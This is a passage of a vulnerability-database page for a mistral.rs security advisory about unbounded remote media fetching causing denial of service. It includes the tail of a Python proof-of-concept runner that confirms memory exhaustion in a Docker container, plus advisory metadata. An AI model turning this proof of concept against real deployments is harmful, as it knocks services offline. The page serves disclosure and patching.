= \"PASS\"\n evidence = (\n f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n f\"stderr={stderr_txt!r}\"\n )\n else:\n # Unlikely: the binary finished without being killed. This can happen if\n # the server managed to EOF the stream before OOM, or the memory cap was\n # not enforced by Docker.\n passed = False\n verdict = \"INCOMPLETE\"\n evidence = (\n f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n f\"enforced by Docker. stdout={stdout_txt!r}\"\n )\n\n _log(f\"\\n[VERDICT] {verdict}\")\n _log(f\"[EVIDENCE] {evidence}\")\n\n return {\n \"passed\": passed,\n \"verdict\": verdict,\n \"exit_code\": exit_code,\n \"evidence\": evidence,\n \"stdout\": stdout_txt,\n \"stderr\": stderr_txt,\n }\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n parser.add_argument(\"--image\", default=DOCKER_IMAGE, help=\"Docker image name\")\n parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n args = parser.parse_args()\n\n outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n _log(\"\\n\" + \"=\" * 70)\n _log(\"RESULT SUMMARY\")\n _log(\"=\" * 70)\n for k, v in outcome.items():\n if k not in (\"stdout\", \"stderr\"):\n _log(f\" {k}: {v}\")\n\n sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-m3wp-48jr-vr4g",
"modified": "2026-09-10T21:54:37Z",
"published": "2026-09-10T21:54:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"
},
{
"type": "PACKAGE",
"url": "https://github.com/EricLBuehler/mistral.rs"
},
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.